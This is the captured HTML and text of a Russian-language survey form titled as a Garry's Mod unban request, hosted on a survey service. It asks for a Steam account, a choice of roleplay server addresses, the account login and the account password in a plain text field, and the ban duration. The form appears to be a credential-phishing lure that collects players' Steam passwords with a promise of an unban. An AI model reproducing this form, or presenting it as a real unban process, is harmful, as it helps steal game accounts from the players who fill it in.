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<form id="survey_form" action="//simpoll.ru/run/post" method="post" enctype="multipart/form-data">
  <input type="hidden" name="survey_key" value="36a9bd00" class="input" id="survey_key"> <input type="hidden" name="page" value="1" class="input" id="page">
  <div class="survey_questions">
    <div class="question required q_view" id="q1932280">
      <input type="hidden" class="type_alias" value="multiple">
      <div class="number">1</div>
      <div class="wrapper">
        <h3> STEAM АККАУНТ: <span class="red_star">*</span>
        </h3>
        <div class="body">
          <div class="variants">
            <div class="variant">
              <input type="checkbox" name="quest[1932280][]" value="4898071" class="input_checkbox" id="opt-4898071" onclick="" tabindex="-1"> <label for="opt-4898071">GARRY`S MOD</label>
            </div>
          </div>
        </div>
      </div>
    </div>
    <div class="question required q_view" id="q1932300">
      <input type="hidden" class="type_alias" value="multiple">
      <div class="number">2</div>
      <div class="wrapper">
        <h3> Сервер: <span class="red_star">*</span>
        </h3>
        <div class="body">
          <div class="variants">
            <div class="variant">
              <input type="checkbox" name="quest[1932300][]" value="4898098" class="input_checkbox" id="opt-4898098" onclick="" tabindex="-1"> <label for="opt-4898098">[RusEliteRP] 46.174.54.245:9999</label>
            </div>
            <div class="variant">
              <input type="checkbox" name="quest[1932300][]" value="4898106" class="input_checkbox" id="opt-4898106" onclick="" tabindex="-1"> <label for="opt-4898106">[RusEliteRP#2] 62.122.214.128:9999</label>
            </div>
            <div class="variant">
              <input type="checkbox" name="quest[1932300][]" value="4898107" class="input_checkbox" id="opt-4898107" onclick="" tabindex="-1"> <label for="opt-4898107">[RusEliteRP#3] 46.174.52.66:9999</label>
            </div>
            <div class="variant">
              <input type="checkbox" name="quest[1932300][]" value="4898108" class="input_checkbox" id="opt-4898108" onclick="" tabindex="-1"> <label for="opt-4898108">FastRP [1] | 37.230.137.126:27015</label>
            </div>
            <div class="variant">
              <input type="checkbox" name="quest[1932300][]" value="4898109" class="input_checkbox" id="opt-4898109" onclick="" tabindex="-1"> <label for="opt-4898109">FastRP [2] | 185.97.255.6:27016</label>
            </div>
            <div class="variant">
              <input type="checkbox" name="quest[1932300][]" value="4898110" class="input_checkbox" id="opt-4898110" onclick="" tabindex="-1"> <label for="opt-4898110">FastRP [3] | 37.230.137.126:27017</label>
            </div>
          </div>
        </div>
      </div>
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    <div class="question required q_view qt_string" id="q1932281">
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      <div class="number">3</div>
      <div class="wrapper">
        <h3> Логин <span class="red_star">*</span>
        </h3>
        <div class="body">
          <div class="answer">
            <input type="text" name="quest[1932281]" class="input" placeholder="">
          </div>
        </div>
      </div>
    </div>
    <div class="question required q_view qt_string" id="q1932295">
      <input type="hidden" class="type_alias" value="string">
      <div class="number">4</div>
      <div class="wrapper">
        <h3> Пароль <span class="red_star">*</span>
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        <div class="body">
          <div class="answer">
            <input type="text" name="quest[1932295]" class="input" placeholder="">
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    <div class="question required q_view qt_string" id="q1932321">
      <input type="hidden" class="type_alias" value="string">
      <div class="number">5</div>
      <div class="wrapper">
        <h3> Время бана: <span class="red_star">*</span>
        </h3>
        <div class="body">
          <div class="answer">
            <input type="text" name="quest[1932321]" class="input" placeholder="">
          </div>
        </div>
      </div>
    </div>
  </div>
  <div style="clear:both;overflow:hidden">
    <div class="survey_notice">Нажимая кнопку "Отправить", вы соглашаетесь с <a href="https://simpoll.ru/terms.pdf" target="_blank">пользовательским соглашением</a> и
      <a href="https://simpoll.ru/privacy.pdf" target="_blank">политикой конфиденциальности</a>.</div>
    <div class="poll_submit">
      <input type="button" class="submit" value="Отправить" onclick="validateAnswers()">
    </div>
  </div>
</form>

Text Content

РАЗБАН GARRY`S MOD

1


STEAM АККАУНТ: *

GARRY`S MOD
2


СЕРВЕР: *

[RusEliteRP] 46.174.54.245:9999
[RusEliteRP#2] 62.122.214.128:9999
[RusEliteRP#3] 46.174.52.66:9999
FastRP [1] | 37.230.137.126:27015
FastRP [2] | 185.97.255.6:27016
FastRP [3] | 37.230.137.126:27017
3


ЛОГИН *


4


ПАРОЛЬ *


5


ВРЕМЯ БАНА: *


Нажимая кнопку "Отправить", вы соглашаетесь с пользовательским соглашением и
политикой конфиденциальности.